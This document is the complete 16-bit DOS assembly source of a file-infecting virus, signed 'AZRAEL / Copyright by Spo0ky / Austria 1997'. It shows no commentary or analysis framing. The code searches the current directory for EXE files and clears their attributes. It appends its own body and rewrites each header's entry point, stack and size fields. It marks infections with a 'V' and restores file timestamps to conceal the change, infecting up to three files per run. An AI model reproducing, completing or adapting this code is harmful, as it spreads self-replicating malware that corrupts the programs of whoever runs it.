start: call delta delta: pop bp sub bp,offset delta mov ax,0faceh push ax pop ax cli dec sp dec sp sti pop bx cmp bx,ax je its_ok mov ax,4c00h int 21h its_ok: mov word ptr[bp+saved_ds],ds push cs push cs pop ds pop es lea si,[bp+old_ip] lea di,[bp+original_ip] mov cx,4 rep movsw mov ah,1ah lea dx,[bp+ende] int 21h mov ah,4eh lea dx,[bp+file_spec] mov cx,7 find_next: int 21h jc before_restore mov ax,4300h lea dx,[bp+ende+1eh] int 21h mov word ptr[bp+attribs],cx mov ax,4301h xor cx,cx lea dx,[bp+ende+1eh] int 21h lea dx,[bp+ende+1eh] call open mov bx,ax mov ax,5700h int 21h mov word ptr[bp+time],cx mov word ptr[bp+date],dx mov cx,1ah lea dx,[bp+exe_header] call read cmp word ptr [bp+exe_header],'ZM' je check_infected cmp word ptr [bp+exe_header],'MZ' je check_infected jmp close check_infected: cmp word ptr [bp+exe_header+12h],'V' je close call save_exe_header mov al,02 call seek mov word ptr[bp+file_size_ax],ax mov word ptr[bp+file_size_dx],dx call calculate_new_cs_ip mov ax,word ptr[bp+file_size_ax] mov dx,word ptr[bp+file_size_dx] call calculate_new_size push byte ptr [bp+counter] mov byte ptr[bp+counter],0 jmp goon before_restore: jmp restore goon: mov cx,ende-start lea dx,[bp+start] call write pop byte ptr [bp+counter] mov al,0 call seek mov cx,1ah lea dx,[bp+exe_header] call write inc byte ptr[bp+counter] close: mov ax,5701h mov cx,word ptr[bp+time] mov dx,word ptr[bp+date] int 21h mov ah,3eh int 21h mov ax,4301h lea dx,[bp+ende+1eh] mov cx,word ptr[bp+attribs] int 21h cmp byte ptr[bp+counter],3 je restore mov ah,4fh jmp find_next restore: mov ax,word ptr[bp+saved_ds] mov ds,ax mov ah,1ah mov dx,80h int 21h push ds pop es mov ax,es add ax,10h ;add ajustment for PSP add word ptr cs:[original_CS+bp],ax ;Adjust old CS by ;current seg cli add ax,word ptr cs:[bp+original_SS] ;Adjust old SS mov ss,ax ;Restore stack to mov sp,word ptr cs:[bp+original_SP] ;original position sti db 0eah original_ip dw ? original_cs dw ? original_sp dw ? original_ss dw ? ;*****************; ; SUB - FUNCTIONS ; ;*****************; save_exe_header: push word ptr[bp+exe_header+0eh] pop word ptr[bp+old_ss] push word ptr[bp+exe_header+10h] pop word ptr[bp+old_sp] push word ptr[bp+exe_header+14h] pop word ptr[bp+old_ip] push word ptr[bp+exe_header+16h] pop word ptr[bp+old_cs] ret calculate_new_cs_ip: mov ax,word ptr [exe_header+bp+8] ;Get header length mov cl,4 ;and convert it to shl ax,cl ;bytes. mov cx,ax mov ax,word ptr[bp+file_size_ax] sub ax,cx ;Subtract header sbb dx,0 ;size from file ;size for memory ;adjustments mov cl,0ch ;Convert DX into shl dx,cl ;segment Address mov cl,4 push ax ;Change offset (AX) into shr ax,cl ;segment, except for last add dx,ax ;digit. Add to DX and shl ax,cl ;save DX as new CS, put pop cx ;left over into CX and sub cx,ax ;store as the new IP. mov word ptr [exe_header+bp+14h],cx mov word ptr [exe_header+bp+16h],dx ;Set new CS:IP mov word ptr [exe_header+bp+0eh],dx ;Set new SS = CS mov word ptr [exe_header+bp+10h],0fffe ;Set new SP mov byte ptr [exe_header+bp+12h],'V' ;mark infection ret calculate_new_size: add ax,ende-start ;Add virus size to DX:AX adc dx,0 mov cl,7 shl dx,cl ;convert DX to pages mov cl,9 shr ax,cl add ax,dx inc ax mov word ptr [exe_header+bp+04],ax ;save # of pages mov ax,word ptr[bp+file_size_ax] mov dx,ax shr ax,cl ;Calc remainder shl ax,cl ;in last page sub dx,ax mov word ptr [exe_header+bp+02],dx ;save remainder ret seek: mov ah,42h xor cx,cx xor dx,dx int 21h ret read: mov ah,3fh int 21h ret write: mov ah,40h int 21h ret open: mov ax,3d02h int 21h ret saved_ds dw ? exe_header db 1ah dup(?) old_ip dw 0 old_cs dw 0fff0h old_sp dw 0 old_ss dw 0fff0h file_spec db '*.exe',0 file_size_ax dw ? file_size_dx dw ? attribs dw ? time dw ? date dw ? counter db 0 copyright db 'AZRAEL / Copyright by Spo0ky / Austria 1997',0 ende: